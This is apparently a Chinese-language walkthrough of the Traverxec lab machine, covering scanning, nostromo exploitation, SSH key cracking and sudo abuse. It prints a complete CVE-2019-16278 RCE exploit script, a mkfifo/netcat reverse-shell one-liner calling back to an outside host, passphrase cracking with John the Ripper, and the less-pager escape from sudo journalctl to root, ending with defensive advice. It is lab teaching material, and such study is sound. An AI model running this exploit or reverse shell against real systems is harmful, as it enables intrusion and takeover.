[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RSA解密+journalctl权限提升
字数 1079 2025-08-19 12:41:28

Traverxec靶机渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.165 --min-rate 1000 -sC -sV

扫描结果:

  • 开放端口:
    • 22/tcp: OpenSSH 7.9p1 Debian 10+deb10u1
    • 80/tcp: nostromo 1.9.6 HTTP服务器

1.2 Web服务识别

使用whatweb识别Web服务:

whatweb 10.10.10.165 -v

发现运行的是nostromo 1.9.6 Web服务器。

2. 漏洞利用阶段

2.1 Nostromo RCE漏洞(CVE-2019-16278)

搜索并利用nostromo的已知漏洞:

searchsploit nostromo

找到CVE-2019-16278漏洞利用脚本(47837.py),这是一个目录遍历和远程代码执行漏洞。

漏洞利用脚本内容:

#!/usr/bin/env python
import sys
import socket

art = '''
2019-16278
'''
help_menu = '\r\nUsage: cve2019-16278.py <Target_IP> <Target_Port> <Command>'

def connect(soc):
    response = ""
    try:
        while True:
            connection = soc.recv(1024)
            if len(connection) == 0:
                break
            response += connection.decode('utf-8')
    except:
        pass
    return response

def cve(target, port, cmd):
    soc = socket.socket()
    soc.connect((target, int(port)))
    payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
    soc.send(payload.encode('utf-8'))
    receive = connect(soc)
    print(receive)

if __name__ == "__main__":
    print(art)
    try:
        target = sys.argv[1]
        port = sys.argv[2]
        cmd = sys.argv[3]
        cve(target, port, cmd)
    except IndexError:
        print(help_menu)

2.2 获取初始shell

  1. 测试命令执行:
python2 cve2019_16278.py 10.10.10.165 80 id
  1. 获取反向shell:
python2 cve2019_16278.py 10.10.10.165 80 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.24 10032 >/tmp/f'

成功获取www-data权限的shell。

3. 权限提升至david用户

3.1 发现SSH备份文件

在david用户的public_www目录下发现备份文件:

ls -al /home/david/public_www/protected-file-area

发现backup-ssh-identity-files.tgz文件,使用base64编码传输:

base64 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz

3.2 解密SSH私钥

  1. 解码并解压备份文件:
echo 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 |base64 -d > backup-ssh-identity-files.tgz
tar -zxvf backup-ssh-identity-files.tgz
  1. 获取david用户的SSH私钥:
cat home/david/.ssh/id_rsa
  1. 使用openssl检查私钥:
openssl rsa -in home/david/.ssh/id_rsa
  1. 使用John the Ripper破解私钥密码:
ssh2john home/david/.ssh/id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

发现密码为"hunter"。

  1. 转换私钥格式并登录:
openssl rsa -in home/david/.ssh/id_rsa -out id_rsa
chmod 600 id_rsa
ssh -i id_rsa david@10.10.10.165

成功获取david用户权限,找到user flag:

c4830294ae2b76864b388d4e54452bf1

4. 权限提升至root

4.1 分析sudo权限

检查david的sudo权限:

sudo -l

发现可以无需密码执行:

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

4.2 利用journalctl漏洞

  1. 分析server-stats.sh脚本:
cat /home/david/bin/server-stats.sh

该脚本通过journalctl返回nostromo服务日志的最后5行。journalctl会调用默认的分页程序(通常是less),而less可以被利用来执行shell命令。

  1. 利用方法:
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

在less界面中,输入:

!/bin/bash

这将启动一个root shell。

4.3 获取root flag

成功获取root权限后,找到root flag:

57ac9d01c8cbff939204951632535154

5. 总结

本靶机渗透测试的关键点:

  1. 通过Nostromo 1.9.6的CVE-2019-16278漏洞获取初始访问权限
  2. 发现并解密david用户的SSH私钥备份文件
  3. 利用journalctl的默认分页程序漏洞进行权限提升

防护建议:

  1. 及时更新Web服务器软件
  2. 避免将敏感文件(如SSH私钥)存储在Web可访问目录
  3. 限制sudo权限,避免使用危险命令
  4. 配置journalctl不使用交互式分页程序
Traverxec靶机渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 扫描结果: 开放端口: 22/tcp: OpenSSH 7.9p1 Debian 10+deb10u1 80/tcp: nostromo 1.9.6 HTTP服务器 1.2 Web服务识别 使用whatweb识别Web服务: 发现运行的是nostromo 1.9.6 Web服务器。 2. 漏洞利用阶段 2.1 Nostromo RCE漏洞(CVE-2019-16278) 搜索并利用nostromo的已知漏洞: 找到CVE-2019-16278漏洞利用脚本(47837.py),这是一个目录遍历和远程代码执行漏洞。 漏洞利用脚本内容: 2.2 获取初始shell 测试命令执行: 获取反向shell: 成功获取www-data权限的shell。 3. 权限提升至david用户 3.1 发现SSH备份文件 在david用户的public_ www目录下发现备份文件: 发现 backup-ssh-identity-files.tgz 文件,使用base64编码传输: 3.2 解密SSH私钥 解码并解压备份文件: 获取david用户的SSH私钥: 使用openssl检查私钥: 使用John the Ripper破解私钥密码: 发现密码为"hunter"。 转换私钥格式并登录: 成功获取david用户权限,找到user flag: 4. 权限提升至root 4.1 分析sudo权限 检查david的sudo权限: 发现可以无需密码执行: 4.2 利用journalctl漏洞 分析server-stats.sh脚本: 该脚本通过journalctl返回nostromo服务日志的最后5行。journalctl会调用默认的分页程序(通常是less),而less可以被利用来执行shell命令。 利用方法: 在less界面中,输入: 这将启动一个root shell。 4.3 获取root flag 成功获取root权限后,找到root flag: 5. 总结 本靶机渗透测试的关键点: 通过Nostromo 1.9.6的CVE-2019-16278漏洞获取初始访问权限 发现并解密david用户的SSH私钥备份文件 利用journalctl的默认分页程序漏洞进行权限提升 防护建议: 及时更新Web服务器软件 避免将敏感文件(如SSH私钥)存储在Web可访问目录 限制sudo权限,避免使用危险命令 配置journalctl不使用交互式分页程序